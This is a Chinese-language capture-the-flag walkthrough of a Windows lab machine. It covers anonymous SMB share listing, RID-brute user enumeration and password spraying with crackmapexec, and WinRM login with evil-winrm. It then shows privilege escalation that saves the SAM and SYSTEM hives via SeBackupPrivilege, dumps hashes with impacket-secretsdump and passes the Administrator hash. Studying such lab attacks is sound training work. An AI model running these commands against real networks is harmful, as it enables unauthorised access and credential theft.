第一次接触 windows 渗透,前面接触了一些 linux 的渗透过程,看看有什么相似和不同的地方
# nmap
起手先 nmap 扫描
sudo nmap -A 10.10.11.35 |
感觉扫出来的端口比 linux 的明显多多了,这个靶机的突破口是 SMB 服务,也是很多 windows 渗透过程中会当作重点的目标之一
# SMB
SMB 是 Window 操作系统中用于文件共享、打印服务以及其他网络服务的重要协议,由于其普遍存在,容易被用来进行横向移动、信息搜集等操作
多出现于 445 端口,这里 nmap 扫描出的 microsoft-ds
是 SMB 服务的一种标识
通常指的是 Windows 网络上的文件共享和打印共享服务,这正是 SMB 协议在网络上的实现
这里则是由于配置不当导致可以匿名访问
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --shares |
通过 CrackMapExec
工具,用默认低权限用户 guest 匿名登录,并列举出所有的 SMB 共享资源
可以看到,给了 HR
和 IPC$
的阅读权限,看看都有啥
smbclient -N //10.10.11.35/HR |
利用 smbclient
工具匿名登录 SMB 服务查看共享文件夹
利用 get 将文档下载到本地
查看内容,发现了一组密码凭证
另一个 IPC$ 那边没有什么东西
# 有效用户枚举
既然有了密码凭证,就得找到对应的用户来使用
在 CrackMapExec
里面可以通过 rid-brute 模式来尝试寻找有效用户
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute |
这里列举出了用户账户、组账户和计算机账户,我们只需要用户账户,使用 grep 对结果进行过滤
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' |
将用户名保存起来做进一步枚举工作 —— 密码喷洒
来点优雅 (臃肿) 的
crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | awk -F'\' '{print $2}' | grep -oP '^\S+' | tee user_list |
crackmapexec smb 10.10.11.35 -u user_list -p 'Cicada$M6Corpb*@Lp#nZp!8' |
拿到 michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
这一组凭证
再利用这一组凭证登录 SMB,看看还有什么信息能够搜集
crackmapexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares |
似乎没什么有用的文件权限
crackmapexec 再次发力,通过已知用户来枚举其他用户
crackmapexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users |
这另一组凭证不就来了吗david.orelious:aRt$Lp#7t*VQ!3
查看这个用户的 SMB 权限
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares |
多了对 DEV 的读取权限,这不就来了
把它下载到本地
mbclient '\\10.10.11.35\DEV' -U david.orelious |
又是新的一组凭证emily.oscars:Q!3@Lp#M6b*7t*Vt
# 建立立足点
先前 nmap 扫描结果中,5958 端口开放了 wsman 服务,手握三个凭证,可以尝试远程登录
可以靠 crackmapexec 来验证 winrm 权限
crackmapexec winrm 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' | |
crackmapexec winrm 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3' | |
crackmapexec winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' |
挨个尝试,发现最后一组验证成功 (Pwn3d!)
利用 evil-winrm
工具进行登录操作
evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' |
成功登录,获取 user flag
# 提权
查看当前用户权限
whoami /priv |
有一个 SeBackupPrivilege 权限,上网搜索利用方法
核心就是利用权限将 sam 和 system 转储出来,后面利用 impacket-secretsdump
工具破解 hash
有意思的是获取 sam 和 system 文件早就有人写过了,直接放 /temp 目录下让我逮着了
命令还是贴一下吧
reg save hklm\sam c:\temp\san | |
reg save hklm\system c:\temp\system |
直接 download 到本地
impacket-secretsdump -sam sam -system system local |
最后利用 evil-winrm 登录 Administrator 就大功告成了
evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341' |